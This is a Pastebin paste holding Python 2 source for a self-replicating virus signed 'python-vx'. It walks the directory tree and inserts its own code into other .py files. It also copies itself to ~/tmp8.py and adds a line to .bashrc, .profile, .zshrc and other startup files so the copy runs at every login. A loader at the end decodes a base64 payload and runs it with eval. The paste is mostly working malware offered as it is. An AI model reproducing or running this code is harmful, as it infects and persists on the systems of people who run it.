Guest User

2ch

a guest
Jun 10th, 2015
417
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.85 KB | None | 0 0
  1. class D():
  2. signature = 'python-vx'
  3. source =
  4.  
  5. import threading
  6. import random, time, sys, string, inspect, re
  7. import os, traceback
  8.  
  9. class Virii():
  10.  
  11. def infect(self, path):
  12. import os, string
  13. #print "Try to infect: %s" % path
  14. #if self.debug:
  15. # print "Processing: %s" % path
  16. nl = os.linesep
  17. letters = string.letters
  18. if os.path.getsize(path) > 10000000:
  19. return False # Skip large files
  20. try:
  21. f = open(path)
  22. file_content = f.read()
  23. f.seek(0)
  24. except:
  25. if self.debug:
  26. print traceback.format_exc()
  27. return False
  28. if "python-vx" in file_content:
  29. if self.debug:
  30. print "Already infected: %s" % path
  31. f.close()
  32. return False
  33. file_content = ""
  34. data = ""
  35. i = 0
  36. infected = False
  37. #print f
  38. f.flush()
  39. old_line, old_line2 = "", ""
  40. for l in f:
  41. i += 1
  42. if i>20 and not infected:
  43. if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#":
  44. data = data + nl+self.myself+nl
  45. infected = True
  46. data = data + l
  47. old_line2 = old_line
  48. old_line = l
  49. f.close()
  50. if infected:
  51. try:
  52. f = open(path, "w+")
  53. f.write(data)
  54. f.close()
  55. if self.debug:
  56. print "%s Infected!" % path
  57. except:
  58. if self.debug:
  59. print traceback.format_exc()
  60. return False
  61.  
  62. def walk(self, path):
  63. import os
  64. for root, dirs, files in os.walk(path):
  65. for d in dirs:
  66. if not d[0]==".":
  67. full_dir = os.path.join(root, d)
  68. self.walk(full_dir)
  69. pass
  70. for f in files:
  71. path = os.path.join(root, f)
  72. if not f.endswith(".py"):
  73. pass
  74. #print "Skipp", path
  75. else:
  76. #print "Infect", path
  77. self.infect(path)
  78. def add_me(self, path):
  79. try:
  80. f = open(path, 'a')
  81. f.write(chr(10)+"python ~/tmp8.py & "+chr(10))
  82. f.close()
  83. except:
  84. if self.debug:
  85. print "Can't write to %s file" % bashrc
  86. print traceback.format_exc()
  87.  
  88. def run(self):
  89. import threading, inspect, sys, os
  90. self.debug = False
  91. if self.debug:
  92. print "Threads:", threading.active_count()
  93. if threading.active_count()>2:
  94. if self.debug:
  95. print "Too many threads"
  96. return False
  97. self.myself = inspect.getsource(D)+os.linesep + inspect.getsource(a_a)+os.linesep+"a_a()"
  98. #print self.myself
  99. self.walk(".")
  100. if os.name == "posix" and self.debug == False:
  101. bashrc = "%s/.bashrc" % os.environ['HOME']
  102. tmp = "%s/tmp8.py" % os.environ['HOME']
  103. if os.path.exists(tmp) and not self.debug:
  104. pass
  105. else:
  106. try:
  107. f = open(tmp, 'w+')
  108. f.write(self.myself)
  109. f.close()
  110. except:
  111. if self.debug:
  112. print "Can't create tmp.py file"
  113. print traceback.format_exc()
  114. else:
  115. self.add_me(bashrc)
  116. self.add_me("%s/.xsession" % os.environ['HOME'])
  117. self.add_me("%s/.profile" % os.environ['HOME'])
  118. self.add_me("%s/.kshrc" % os.environ['HOME'])
  119. self.add_me("%s/.zshrc" % os.environ['HOME'])
  120. self.add_me("%s/.cshrc" % os.environ['HOME'])
  121. self.add_me("%s/.xinitrc" % os.environ['HOME'])
  122. t = Virii()
  123. t.run()
  124. def a_a():
  125. try:
  126. import base64, sys, inspect, os
  127. code = base64.b64decode(D.source)
  128. d = compile(code, filename=" ", mode="exec")
  129. eval(d, globals(), locals())
  130. except:
  131. pass
Advertisement
Add Comment
Please, Sign In to add comment